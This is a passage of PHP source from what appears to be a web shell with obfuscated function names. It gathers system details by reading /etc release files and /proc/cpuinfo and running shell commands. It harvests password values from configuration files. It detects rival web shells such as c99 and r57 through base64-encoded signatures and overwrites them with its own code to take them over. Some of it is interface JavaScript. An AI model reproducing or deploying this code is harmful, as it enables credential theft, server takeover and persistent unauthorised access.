4532 '#<h2>PHP License</h2>.*$#ms', '#<h1>Configuration</h1>#', "#\r?\n#",
4533 "#</(h1|h2|h3|tr)>#", '# +<#', "#[ \t]+#", '# #', '# +#', '# class=".*?"#',
4534 '%'%', '#<tr>(?:.*?)" src="(?:.*?)=(.*?)" alt="PHP Logo" /></a>' .
4535 '<h1>PHP Version (.*?)</h1>(?:\n+?)</td></tr>#', '#<h1><a href="(?:.*?)\?=(.*?)">PHP Credits</a></h1>#',
4536 '#<tr>(?:.*?)" src="(?:.*?)=(.*?)"(?:.*?)Zend Engine (.*?),(?:.*?)</tr>#',
4537 "# +#", '#<tr>#', '#</tr>#'), array('$1', '', '', '', '</$1>' . "\n", '<', ' ',
4538 ' ', ' ', '', ' ', '<h2>PHP Configuration</h2>' . "\n" .
4539 '<tr><td>PHP Version</td><td>$2</td></tr>' . "\n" .
4540 '<tr><td>PHP Egg</td><td>$1</td></tr>',
4541 '<tr><td>PHP Credits Egg</td><td>$1</td></tr>',
4542 '<tr><td>Zend Engine</td><td>$2</td></tr>' . "\n" .
4543 '<tr><td>Zend Egg</td><td>$1</td></tr>', ' ', '%S%', '%E%'), @ob_get_clean());
4544 $sections = @explode('<h2>', @strip_tags($pi, '<h2><th><td>'));
4545 unset($sections[0]);
4546 $pi = array();
4547 foreach ($sections as $section) {
4548 $n = @substr($section, 0, @strpos($section, '</h2>'));
4549 @preg_match_all('#%S%(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?(?:<td>(.*?)</td>)?%E%#',
4550 $section, $askapache, PREG_SET_ORDER);
4551 foreach ($askapache as $m)
4552 $pi[$n][$m[1]] = (@isset($m[2]) && (!@isset($m[3]) || $m[2] == $m[3])) ? $m[2] :
4553 @array_slice($m, 2);
4554 }
4555 return ($return === false) ? print_r($pi) : $pi;
4556}
4557function z1n()
4558{
4559 $distros = array("SUSE LINUX" => "SuSE-release;UnitedLinux-release", "Mandrake" =>
4560 "mandrake-release", "MandrivaLinux" => "mandrake-release", "Gentoo" =>
4561 "gentoo-release", "Fedora" => "fedora-release", "RedHat" =>
4562 "redhat-release;redhat_version", "Slackware" =>
4563 "slackware-release;slackware-version", "Trustix" =>
4564 "trustix-release;trustix-version", "FreeEOS" => "eos-version", "Arch" =>
4565 "arch-release", "Cobalt" => "cobalt-release", "LinuxFromScratch" =>
4566 "lfs-release", "Rubix" => "rubix-version", "Ubuntu" => "lsb-release", "PLD" =>
4567 "pld-release", "CentOS" => "redhat-release;redhat_version", "LFS" =>
4568 "lfs-release;lfs_version", "HLFS" => "hlfs-release;hlfs_version", "Debian" =>
4569 "debian_release;debian_version");
4570 foreach ($distros as $k => $v) {
4571 $fs = @explode(";", $v);
4572 foreach ($fs as $f) {
4573 if (z4q("/etc/" . $f)) {
4574 $t = @str_replace("\n", "", z9p("/etc/" . $f));
4575 $t = @trim($t);
4576 if (@preg_match("/description=\"(.*)\"/i", $t, $m)) {
4577 return $m[1];
4578 } else {
4579 return $k . " ($t)";
4580 }
4581 }
4582 }
4583 }
4584 return "Unknown";
4585}
4586function z3f()
4587{
4588 $r = z9s("430");
4589 $c = $k = $b = "";
4590 $f = z9p("/proc/cpuinfo");
4591 if (!@empty($f)) {
4592 $a = @explode("\n", $f);
4593 $n = 0;
4594 for ($i = 0; $i < @count($a); $i++) {
4595 @list($x, $y, ) = @explode(":", $a[$i]);
4596 $x = @rtrim($x);
4597 $y = @rtrim($y);
4598 if ($x == "processor") {
4599 $n++;
4600 $r = $n;
4601 }
4602 if ($x == "vendor_id")
4603 $r .= $y;
4604 if ($x == "model name")
4605 $r .= $y;
4606 if ($x == "cpu MHz") {
4607 $r .= " " . @floor($y);
4608 $k = "y";
4609 }
4610 if ($x == "cache size")
4611 $c = $y;
4612 if ($x == "bogomips")
4613 $b = $y;
4614 }
4615 if ($k != "y")
4616 $r .= " <b>unknown</b>";
4617 $r .= " MHz / Cache: $c / BogoMIPS: $b";
4618 }
4619 return $r;
4620}
4621function z2g($used)
4622{
4623 return '<div class="' . z4m("4", "3") . '"><div class="' . z4m("5", "3") .
4624 '" style="width:' . (($used > 100) ? "100" : $used) . '%;"> </div></div>';
4625}
4626function z5a()
4627{
4628 global $sh_exec, $nix;
4629 $mem = $buff = $swap = array("", z9s("430"));
4630 if ($nix && $sh_exec) {
4631 $m = z9t("free -b");
4632 if (!@empty($m)) {
4633 $e = @explode("\n", $m);
4634 foreach ($e as $l) {
4635 if (@preg_match('/mem:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i', $l, $t)) {
4636 $used = @round(($t[2] / $t[1]) * 100);
4637 $mem = array(z2g($used), z9s("426", z7c($t[1])) . " " . z9s("429", z7c($t[2])) .
4638 " (" . $used . "%) " . z9s("465", z7c($t[3])));
4639 } elseif (@preg_match('/swap:\s*([0-9]+)\s*([0-9]+)\s*([0-9]+)/i', $l, $t)) {
4640 $used = @round(($t[2] / $t[1]) * 100);
4641 $swap = array(z2g($used), z9s("426", z7c($t[1])) . " " . z9s("429", z7c($t[2])) .
4642 " (" . $used . "%) " . z9s("465", z7c($t[3])));
4643 } elseif (@preg_match('/-\/\+ buffers\/cache:\s*([0-9]+)\s*([0-9]+)/i', $l, $t)) {
4644 $tot = ($t[1] + $t[2]);
4645 $used = @round(($t[1] / $tot) * 100);
4646 $buff = array(z2g($used), z9s("426", z7c($tot)) . " " . z9s("429", z7c($t[1])) .
4647 " (" . $used . "%) " . z9s("465", z7c($t[2])));
4648 }
4649 }
4650 }
4651 }
4652 return array($mem, $buff, $swap);
4653}
4654function z9e()
4655{
4656 global $nix, $sh_exec, $dtotal, $dfree, $dused, $win;
4657 $it = @intval($dtotal);
4658 $iu = @intval($dused);
4659 $used = @round(($iu / $it) * 100);
4660 $r = array(array(z2g($used), z9s("426", $dtotal) . " " . z9s("429", $dused) .
4661 " (" . $used . "%) " . z9s("465", $dfree)));
4662 if ($win && z7r('disk_free_space') && z7r('disk_total_space')) {
4663 $tr = array();
4664 foreach (@range("B", "Z") as $let) {
4665 if (z4q($let . ":/")) {
4666 $free = @disk_free_space($let . ":/");
4667 $total = @disk_total_space($let . ":/");
4668 if ($free === false)
4669 $free = 0;
4670 if ($total === false)
4671 $total = 0;
4672 if ($free < 0)
4673 $free = 0;
4674 if ($total < 0)
4675 $total = 0;
4676 $used = ($total - $free);
4677 $pused = @round(($used / $total) * 100);
4678 $tr[$let . ":"] = array(z2g($pused), z9s("426", z7c($total)) . " " . z9s("429",
4679 z7c($used)) . " (" . $pused . "%) " . z9s("465", z7c($free)));
4680 }
4681 }
4682 if (@count($tr) !== 0)
4683 $r = $tr;
4684 } elseif ($nix && $sh_exec) {
4685 $df = z9t("df -B1");
4686 if (!@empty($df)) {
4687 $e = @explode("\n", $df);
4688 @array_shift($e);
4689 $tr = array();
4690 foreach ($e as $l) {
4691 $p = @preg_split("/ /", $l, null, PREG_SPLIT_NO_EMPTY);
4692 if (@count($p) !== 6)
4693 break;
4694 $used = @round(($p[2] / $p[1]) * 100);
4695 $tr[$p[5]] = array(z2g($used), z9s("426", z7c($p[1])) . " " . z9s("429", z7c($p[2])) .
4696 " (" . $used . "%) " . z9s("465", z7c($p[3])) . " FS: " . $p[0]);
4697 }
4698 if (@count($tr) !== 0)
4699 $r = $tr;
4700 }
4701 }
4702 return $r;
4703}
4704function z1m($file, $user)
4705{
4706 global $passarray;
4707 if (!@isset($passarray))
4708 $passarray = array();
4709 if (!@isset($passarray[$user]))
4710 $passarray[$user] = array();
4711 $f = z9p($file);
4712 if (!empty($f)) {
4713 $regvar = '/\$([A-Za-z_][A-Za-z_0-9]*)\s*=\s*([\'"]{1})([^\2\s\t\r\n]+)\2\s*;/';
4714 $regvar1 = '/([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)\1[\s\t\r\n]*=>[\s\t\r\n]*([\'"]{1})([^\3\s\t\r\n]+)\3/';
4715 $regvar2 = '/\[([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)\1\][\s\t\r\n]*=[\s\t\r\n]*([\'"]{1})([^\3\s\t\r\n]+)\3/';
4716 $regconst = '/define\s*\(([\'"]{1})([A-Za-z_][A-Za-z_0-9]*)\1\s*,\s*([\'"]{1})([^\3\s\t\r\n]+)\3\s*\)\s*;/';
4717 if (@preg_match_all($regvar, $f, $m)) {
4718 $var = $m[1];
4719 $val = $m[3];
4720 for ($i = 0; $i < @count($var); $i++) {
4721 if (@preg_match('/pass/i', $var[$i])) {
4722 if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) {
4723 $passarray[$user][] = $val[$i];
4724 }
4725 }
4726 }
4727 unset($var);
4728 unset($val);
4729 unset($m);
4730 }
4731 if (@preg_match_all($regvar1, $f, $m)) {
4732 $var = $m[2];
4733 $val = $m[4];
4734 for ($i = 0; $i < @count($var); $i++) {
4735 if (@preg_match('/pass/i', $var[$i])) {
4736 if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) {
4737 $passarray[$user][] = $val[$i];
4738 }
4739 }
4740 }
4741 unset($var);
4742 unset($val);
4743 unset($m);
4744 }
4745 if (@preg_match_all($regvar2, $f, $m)) {
4746 $var = $m[2];
4747 $val = $m[4];
4748 for ($i = 0; $i < @count($var); $i++) {
4749 if (@preg_match('/pass/i', $var[$i])) {
4750 if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) {
4751 $passarray[$user][] = $val[$i];
4752 }
4753 }
4754 }
4755 unset($var);
4756 unset($val);
4757 unset($m);
4758 }
4759 if (@preg_match_all($regconst, $f, $m)) {
4760 $var = $m[2];
4761 $val = $m[4];
4762 for ($i = 0; $i < @count($var); $i++) {
4763 if (@preg_match('/pass/i', $var[$i])) {
4764 if (!@empty($val[$i]) && !@in_array($val[$i], $passarray[$user])) {
4765 $passarray[$user][] = $val[$i];
4766 }
4767 }
4768 }
4769 unset($var);
4770 unset($val);
4771 unset($m);
4772 }
4773 }
4774 unset($f);
4775}
4776function z2q($file)
4777{
4778 if (!z4e($file))
4779 return false;
4780 $me = z9p(__file__);
4781 if (!$me)
4782 return false;
4783 return z9y($file, $me);
4784}
4785function z2y($file, $possible = 0, $replace = 0)
4786{
4787 $replaced = "";
4788 $knownfunc = array("c99/variant" => @explode("||", @base64_decode("ZnNlYXJjaCgkZCl8fGZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxnZXRzb3VyY2UoJGZuKXx8c2hleGl0KCl8fF9idWZmX3ByZXBhcmUoKXx8X3Nlc3NfcHV0KCRkYXRhKXx8ZGlzcGxheXNlY2luZm8oJG5hbWUsJHZhbHVlKXx8ZnNfY29weV9kaXIoJGQsJHQpfHxmc19jb3B5X29iaigkZCwkdCl8fGZzX21vdmVfZGlyKCRkLCR0KXx8ZnNfbW92ZV9vYmooJGQsJHQpfHxmc19ybWRpcigkZCl8fGZzX3Jtb2JqKCRvKXx8Z2V0bWljcm90aW1lKCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHN0cjJtaW5pKCRjb250ZW50LCRsZW4pfHx0YWJzb3J0KCRhLCRiKXx8dmlld19wZXJtcygkbW9kZSl8fHZpZXdfcGVybXNfY29sb3IoJG8pfHx2aWV3X3NpemUoJHNpemUp")),
4789 "r57/variant" => @explode("||", @base64_decode("Y2YoJGZuYW1lLCR0ZXh0KXx8Y2hhbmdlX2RpdnN0KGlkKXx8Y2xvc2UoKXx8Y29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcyl8fGNvbm5lY3QoKXx8Y3goKXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZGl2KCRpZCl8fGR1bXAoJHRhYmxlKXx8ZXJyKCRuLCR0eHQ9JycpfHxleCgkY2ZlKXx8R2V0RmlsZU1hdGNoZXNDb3VudCgpfHxHZXRGaWxlc1RvdGFsKCl8fEdldE1hdGNoZXNDb3VudCgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGdldF91c2VycygkZmlsZW5hbWUpfHxpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCl8fGxvY2F0ZSgkcHIpfHxtYWlsYXR0YWNoKCR0bywkZnJvbSwkc3ViaiwkYXR0YWNoKXx8bW9yZXJlYWQoJHRlbXApfHxtb3Jld3JpdGUoJHRlbXAsJHN0cj0nJyl8fHBlcm1zKCRtb2RlKXx8cmVhZHpsaWIoJGZpbGVuYW1lLCR0ZW1wPScnKXx8c2FmZV9leCgkY2ZlKXx8U2VhcmNoUmVzdWx0KCRkaXIsJHRleHQsJGZpbHRlcj0nJyl8fFNlYXJjaFRleHQoJHBocmFzZT0wLCRjYXNlPTApfHxzaG93X2RpdihpZCl8fHNyKCRsLCR0MSwkdDIpfHx0b1VURigkeCl8fFVfdmFsdWUoJHZhbHVlKXx8VV93b3Jkd3JhcCgkc3RyKXx8dmlld19zaXplKCRzaXplKXx8d2hpY2goJHByKXx8d3MoJGkp")),
4790 "c37" => @explode("||", @base64_decode("Q2hlY2tCYXNlNjQoJEhhc2gpfHxDaGVja0hFWCgkSGFzaCwkQ2FzZSl8fENvbmZpZ3VyZUNoZWNrQm94ZXNQZXJtaXNzaW9ucygpfHxDb25maWd1cmVQZXJtaXNzaW9ucyh1c2VyKXx8R2V0TGFzdEVycm9yKCl8fEdldFBlcm1zKCYkRik=")),
4791 "BOFF" => @explode("||", @base64_decode("YShhLGMscDEscDIscDMsY2hhcnNldCl8fGFjdGlvbkJydXRlZm9yY2UoKXx8YWN0aW9uQ29uc29sZSgpfHxhY3Rpb25GaWxlc01hbigpfHxhY3Rpb25GaWxlc1Rvb2xzKCl8fGFjdGlvbkxvZ291dCgpfHxhY3Rpb25OZXR3b3JrKCl8fGFjdGlvblBocCgpfHxhY3Rpb25SQygpfHxhY3Rpb25TYWZlTW9kZSgpfHxhY3Rpb25TZWNJbmZvKCl8fGFjdGlvblNlbGZSZW1vdmUoKXx8YWN0aW9uU3FsKCl8fGFjdGlvblN0cmluZ1Rvb2xzKCl8fEJPRkZFeCgkaW4pfHxCT0ZGRm9vdGVyKCl8fEJPRkZIZWFkZXIoKXx8Qk9GRkxvZ2luKCl8fEJPRkZQZXJtcygkcCl8fEJPRkZQZXJtc0NvbG9yKCRmKXx8Qk9GRlJlY3Vyc2l2ZUdsb2IoJHBhdGgpfHxCT0ZGc3RyaXBzbGFzaGVzKCRhcnJheSl8fEJPRkZWaWV3U2l6ZSgkcyl8fEJPRkZXaGljaCgkcCl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcyl8fGNmKCRmLCR0KXx8Y29weV9wYXN0ZSgkYywkcywkZCl8fERiQ2xhc3MoJHR5cGUpfHxkZWxldGVEaXIoJHBhdGgpfHxtb3ZlX3Bhc3RlKCRjLCRzLCRkKXx8cHJvY2Vzc1JlcUNoYW5nZSgp")),
4792 "devshell" => @explode("||", @base64_decode("Y2xpY2tjbWQoKXx8Y3MoJHQpfHxkbGZpbGUoJHUsJHApfHxkbGZpbGUoJHVybCwkZnBhdGgpfHxleGUoJGMpfHxncCgkZil8fGdzKCRmKXx8aW5pdCgpfHxybWRpcnMoJGQpfHxycCgkdCl8fHNob3dkaXIoJHB3ZCwkcHJvbXB0LCR3aW4pfHxzcygkdCl8fHNzYygkdCl8fHN3ZCgkcCl8fHR1a2FyKGwsYil8fHh3aGljaCgkcHIp")),
4793 "Egy" => @explode("||", @base64_decode("Y2FsbGZ1bmNzKCRjbW5kKXx8Y2FsbHpvbmUoJG5zY2Rpcil8fGNmKCRmbmFtZSwkdGV4dCl8fGNoYW5nZV9kaXZzdChpZCl8fGNoYW5nZV9kaXZzdChpZCl8fGNsb3NlKCl8fGNvbXByZXNzKCYkZmlsZW5hbWUsJiRmaWxlZHVtcCwkY29tcHJlc3MpfHxkZWxtKCRkZWxtdHh0KXx8RGlyRmlsZXNSKCRkaXIsJHR5cGVzPScnKXx8ZG93bmxvYWQoJGR3ZmlsZSl8fGV4KCRjZmUpfHxHZXRGaWxlTWF0Y2hlc0NvdW50KCl8fEdldEZpbGVzVG90YWwoKXx8R2V0TWF0Y2hlc0NvdW50KCl8fGdldG1pY3JvdGltZSgpfHxHZXRSZXN1bHRGaWxlcygpfHxHZXRUaW1lVG90YWwoKXx8R2V0VGl0bGVzKCl8fGluKCR0eXBlLCRuYW1lLCRzaXplLCR2YWx1ZSwkY2hlY2tlZD0wKXx8aW5jbGluaygkbGluaywkdmFsKXx8bWFpbGF0dGFjaCgkdG8sJGZyb20sJHN1YmosJGF0dGFjaCl8fG1vcmVyZWFkKCR0ZW1wKXx8bW9yZXdyaXRlKCR0ZW1wLCRzdHI9JycpfHxyZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpfHxzYWZlX2V4KCRjZmUpfHxTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKXx8U2VhcmNoVGV4dCgkcGhyYXNlPTAsJGNhc2U9MCl8fHNldF9lbmNvZGVyX2lucHV0KHRleHQpfHxVX3dvcmR3cmFwKCRzdHIpfHx2aWV3X3NpemUoJHNpemUp")),
4794 "itsecteam" => @explode("||", @base64_decode("YWRkX2RpcigkbmFtZSl8fGJjbigkaXBiYywkcGJjKXx8YnlwY3UoJGZpbGUpfHxieXdzeW0oJGZpbGUpfHxjYWxjX2Rpcl9zaXplKCRwYXRoKXx8Y29weWYoJGZpbGUxLCRmaWxlMiwkZmlsZW5hbWUpfHxkZWxldGVEaXJlY3RvcnkoJGRpcil8fGRpcnBlKCRhZGRyZXMpfHxkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl8fGRvc3NlcnZlcigpfHxkb3dubG9hZCgkZmlsZWFkZCwkZmluYW1lKXx8bGJwKCR3Yil8fG9wZW5mKCRwYXJzZWYpfHxwcmludGRyaXZlKCl8fHF1ZXJZKCR0eXBlLCRob3N0LCR1c2VyLCRwYXNzLCRkYj0nJywkcXVlcnkpfHxzaXplZSgkc2l6ZSl8fHNxbGNsaWVuVCgp")),
4795 "Locus" => @explode("||", @base64_decode("YmJlcnIoKXx8Yzk5ZnNlYXJjaCgkZCl8fGM5OWZ0cGJydXRlY2hlY2soJGhvc3QsJHBvcnQsJHRpbWVvdXQsJGxvZ2luLCRwYXNzLCRzaCwkZnFiX29ubHl3aXRoc2gpfHxjOTlnZXRzb3VyY2UoJGZuKXx8Yzk5c2hleGl0KCl8fGM5OV9idWZmX3ByZXBhcmUoKXx8Yzk5X3Nlc3NfcHV0KCRkYXRhKXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2YoJGZuYW1lLCR0ZXh0KXx8Y2ZiKCRmbmFtZSwkdGV4dCl8fGNoZWNrcHJveHlob3N0KCl8fGRpc3BsYXlzZWNpbmZvKCRuYW1lLCR2YWx1ZSl8fGRvc3lheWljZWsoJGxpbmssJGZpbGUpfHxFTlVNRVJBVEUoKXx8ZXJyKCRuLCR0eHQ9JycpfHxlcnIoKXx8ZXgoJGNmZSl8fGV4KCRjZmUpfHxmc19jb3B5X2RpcigkZCwkdCl8fGZzX2NvcHlfb2JqKCRkLCR0KXx8ZnNfbW92ZV9kaXIoJGQsJHQpfHxmc19tb3ZlX29iaigkZCwkdCl8fGZzX3JtZGlyKCRkKXx8ZnNfcm1vYmooJG8pfHxnZXRtaWNyb3RpbWUoKXx8bHNfcmV2ZXJzZV9hbGwoKXx8bHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKXx8bXlzaGVsbGV4ZWMoJGNtZCl8fG15c2hlbGxleGVjKCRjbWQpfHxteXNoZWxsZXhlYygkY29tbWFuZCl8fG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpfHxteXNxbF9kdW1wKCRzZXQpfHxteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKXx8bXlzcWxfcXVlcnlfZm9ybSgpfHxteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpfHxteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKXx8b25waHBzaHV0ZG93bigpfHxwYXJzZXNvcnQoJHNvcnQpfHxwYXJzZV9wZXJtcygkbW9kZSl8fHBvc2l4X2dldGdyZ2lkKCRnaWQpfHxwb3NpeF9nZXRwd3VpZCgkdWlkKXx8cG9zaXhfa2lsbCgkZ2lkKXx8cnNnX2dsb2IoKXx8cnNnX3JlYWQoKXx8c2VsZlVSTCgpfHxzZXRfZW5jb2Rlcl9pbnB1dCh0ZXh0KXx8c3RyMm1pbmkoJGNvbnRlbnQsJGxlbil8fHN0cmlwcygmJGFyciwkaz0iIil8fHRhYnNvcnQoJGEsJGIpfHx2aWV3X3Blcm1zKCRtb2RlKXx8dmlld19wZXJtc19jb2xvcigkbyl8fHZpZXdfc2l6ZSgkc2l6ZSl8fHdoaWNoKCRwcil8fHdoaWNoKCRwcik=")),
4796 "jackal" => @explode("||", @base64_decode("YXV0aGNyYWNrZVIoKXx8YnJzaGVsTCgpfHxjYWxDKCl8fGNoZWNrc210UCgkaG9zdCwkdGltZW91dCl8fGNoZWNrc3VNKCRmaWxlKXx8Y2hlY2t0aGlzcG9yVCgkaXAsJHBvcnQsJHRpbWVvdXQsJHR5cGU9MCl8fGNoZWNrX3VyTCgkdXJsLCRtZXRob2QsJHNlYXJjaCwkdGltZW91dCl8fGNyYWNrZVIoKXx8ZGljbWFrZVIoKXx8ZG93bmxvYWRpVCgkZ2V0LCRwdXQpfHxlZGl0b1IoJGZpbGUpfHxmaWxlbWFuYWdlcigpfHxmbHVzaGVSKCl8fGZvcm1jcmFja2VSKCl8fGZ0cGNyYWNrZVIoKXx8Z2V0X3N3X25hbUUoJGhvc3QsJHRpbWVvdXQpfHxoYXNoY3JhY2tlUigpfHxoZXh2aWVXKCl8fGhsaW5LKCRzdHI9IiIpfHxpbWFwY3JhY2tlUigpfHxpbWFwbG9naU4oJGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCl8fGxpc3RkaVIoJGN3ZCwkdGFzayl8fGxvZ291VCgpfHxtYWlsZVIoKXx8bXlzcWxjbGllblQoKXx8b3BlbmlUKCRuYW1lKXx8cG9wM2NyYWNrZVIoKXx8cG9wM2xvZ2lOKCRzZXJ2ZXIsJHVzZXIsJHBhc3MpfHxwcjB4eSgpfHxzYWZlbW9kRSgpfHxzaGVsTCgkY29tbWFuZCl8fHNob3dpbWFnRSgkaW1nKXx8c2hvd3NpekUoJHNpemUpfHxzbXRwY3JhY2tlUigpfHxzbXRwbG9naU4oJGFkZHIsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxzbm1wY2hlY0soJGlwLCRjb20sJHRpbWVvdXQpfHxzbm1wY3JhY2tlUigpfHxzcWxjcmFja2VSKCl8fHN0cl9yZXBlYXQoJHN0ciwkYyl8fHN5c2luZk8oKXx8d2Vic2hlbEwoKXx8d2hlcmVpc3RtUCgpfHx3aG9pUygp")),
4797 "SyRiAn" => @explode("||", @base64_decode("QWJvdXQoKXx8Y2hlY2tmdW5jdGlvTigkZnVuYyl8fGNvbXNoZWxMKCRjb21tYW5kLCR3cyl8fGNwYW5lbF9jaGVjaygkaG9zdCwkdXNlciwkcGFzcywkdGltZW91dCl8fENTUygkc2hlbGxDb2xvcil8fEN1cmwoKXx8Y3VycmVudEZpbGVOYW1lKCl8fERlY3J5cHRDb25maWcoKXx8RGlzYWJsZUZ1bmN0aW9ucygpfHxFeGUoJGNvbW1hbmQpfHxmZmlzaGVsTCgkY29tbWFuZCl8fGZvb3RlcigpfHxmdHBfY2hlY2soJGhvc3QsJHVzZXIsJHBhc3MsJHRpbWVvdXQpfHxHZW5lcmF0ZUZpbGUoJG5hbWUsJGNvbnRlbnQpfHxHZXRSZWFsSVAoKXx8Z2V0X3Bhc3MoJGxpbmspfHxHemlwKCl8fEhhcmRTaXplKCRzaXplKXx8aW5wdXQoJHR5cGUsJG5hbWUsJHZhbHVlLCRzaXplKXx8TG9nb3V0KCl8fG1hZ2ljUW91dHMoKXx8TVNRTCgpfHxNc1NRTCgpfHxNeVNRTDIoKXx8TXlzcWxJKCl8fG9wZW5CYXNlRGlyKCl8fE9yYWNsZSgpfHxwZXJsc2hlbEwoJGNvbW1hbmQpfHxQb3N0Z3JlU1FMKCl8fHJlYWRfZGlyKCRwYXRoLCR1c2VybmFtZSl8fFJlZ2lzdGVyR2xvYmFscygpfHxyb290eHBMKCl8fFNhZmVNb2RlKCl8fFNlbGVjdENvbW1hbmQoJG9zKXx8c2hvd1VzZXJzKCl8fFNRbExpdGUoKXx8c3J2c2hlbEwoJGNvbW1hbmQpfHxzdHJfaGV4KCRzdHJpbmcpfHxTdWljaWRlKCl8fHR1bGlzKCRmaWxlLCR0ZXh0KXx8dXBkYXRlKCl8fHdoZXJlaXN0bVAoKXx8d2hpY2goJHByKXx8d2luc2hlbEwoJGNvbW1hbmQp")), );
4798 $content = z9p($file);
4799 if (!$content)
4800 return false;
4801 $cleanct = @preg_replace('/[\s\t\r\n\v]/', '', $content);
4802 foreach ($knownfunc as $type => $funcs) {
4803 $score = 0;
4804 $count = @count($funcs);
4805 $min = @round($count * 0.75);
4806 foreach ($funcs as $func) {
4807 if (@strstr($cleanct, $func))
4808 $score++;
4809 }
4810 $foundp = @round(($score / $count) * 100);
4811 if ($score >= $min) {
4812 if ($replace)
4813 $replaced = " : " . (z2q($file) ? z9s("290") : z9s("291"));
4814 return ($foundp == 100 ? $type . $replaced : $type . " (" . $foundp . "%)" . $replaced);
4815 }
4816 }
4817 if ($possible) {
4818 if ((@preg_match('/' . @base64_decode("KHN5c3RlbXxwYXNzdGhydXxzaGVsbF9leGVjfHBvcGVufHByb2Nfb3BlbikuezAsMTB9") .
4819 '/i', $content) && @preg_match('/' . @base64_decode("YmFja19jb25uZWN0fGJhY2tkb29yfHI1N3xQSFBKYWNrYWx8UGhwU3B5fEdpWHxGeDI5U2hlTEx8dzRjazFuZ3xtaWx3MHJtfFBocFNoZWxsfGsxcjR8RmVlTENvTXp8RmFUYUxpc1RpQ3p8VmVfY0VOeFNoZWxsfFVuaXhPbnxDOTltYWRTaGVsbHxTcGFtZm9yZHp8TG9jdXM3c3xjMTAwfGM5OXx4MjMwMHxjZ2l0ZWxuZXR8d2ViYWRtaW58U1RVTlNIRUxMfFByIXY4fFBIUFNoZWxsfEthTWVMZU9ufFM0VHxvUmJ8dHJ5YWd8bm9leGVjc2hlbGx8XC9ldGNcL3Bhc3N3ZHxyZXZlbmdhbnM=") .
4820 '/', $content)) || @preg_match('/' . @base64_decode("ZXZhbC57MCwxMH1iYXNlNjRfZGVjb2Rl") .
4821 '/i', $content)) {
4822 if ($replace)
4823 $replaced = (z2q($file) ? " : " . z9s("290") : " : " . z9s("291"));
4824 return "Possible backdoor" . $replaced;
4825 }
4826 }
4827 return false;
4828}
4829function z0p($i, $t, $h, $a)
4830{
4831 $r = z10e(z7i(z6x('<form method="POST" action="?" onsubmit="return chkfrm(\'' .
4832 $i . '\',\'' . $t . '\');">' . '<input type="hidden" name="' . $t . '" id="' . $t .
4833 '">' . $h . z8m(z9s("63"), 'chkall(\'' . $i . '\',true);', '7') . z8m(z9s("64"),
4834 'chkall(\'' . $i . '\',false);', '7') . z8m(z9s("65"), 'invall(\'' . $i . '\');',
4835 '7') . z4a('action', $a, '4') . z8v(z9s("77"), '7') . '</form>', '11')), '2');
4836 return "<script type=\"text/javascript\">document.write('" . @str_replace("'", "\\'",
4837 @str_replace("\n", "", $r)) . "');</script>";
4838}
4839function z4n($f, $i, $id = '')
4840{
4841 return '<script>document.write(\'<input type="checkbox" id="' . $id .
4842 'chk" name="' . $i . '" value="' . $f . '" onclick="changetr(this.id.replace(\\\'chk\\\',\\\'\\\'), this.checked);" style="vertical-align: middle;">\');</script>';
4843}
4844function z1c()
4845{
4846 return "<script type=\"text/javascript\">function fnc_replace(idT,idA,idB){ var strT=document.getElementById(idT).value; var strA=document.getElementById(idA).value; var strB=document.getElementById(idB).value; if(strA !='' && strT.indexOf(strA)!=-1){ var repRegex=new RegExp(strA.escR(), 'g'); document.getElementById(idT).value=strT.replace(repRegex, strB);};}; String.prototype.escR=function(){ var sChars=[ '$', '^', '*', '(', ')', '+', '[', ']', '{', '}', '\\\\', '|', '.', '?', '/' ]; var regex=new RegExp('(\\\\' + sChars.join('|\\\\') + ')', 'g'); return this.replace(regex, '\\\\$1');}</script>";
4847}
4848function z3n()
4849{
4850 return '<script type="text/javascript">
4851if(!document.getElementById){ if(document.all){ document.getElementById=function(){ if(typeof document.all[arguments[0]]!="undefined"){ return document.all[arguments[0]]; } else { return null; };};} else if(document.layers){ document.getElementById=function(){ if(typeof document[arguments[0]]!="undefined"){ return document[arguments[0]]; } else { return null; };};};}
4852function changecls(trid, newcls){ try { document.getElementById(trid).className = document.getElementById(trid).className.replace(/[a-zA-Z0-9]+/,newcls); } catch(err){} }
4853function changetr(trid, vbool){ if(vbool){ changecls(trid,"list3"); } else { if(trid.substr(0,3) == "tra"){ changecls(trid,"list1"); } else { changecls(trid,"list2");};};}
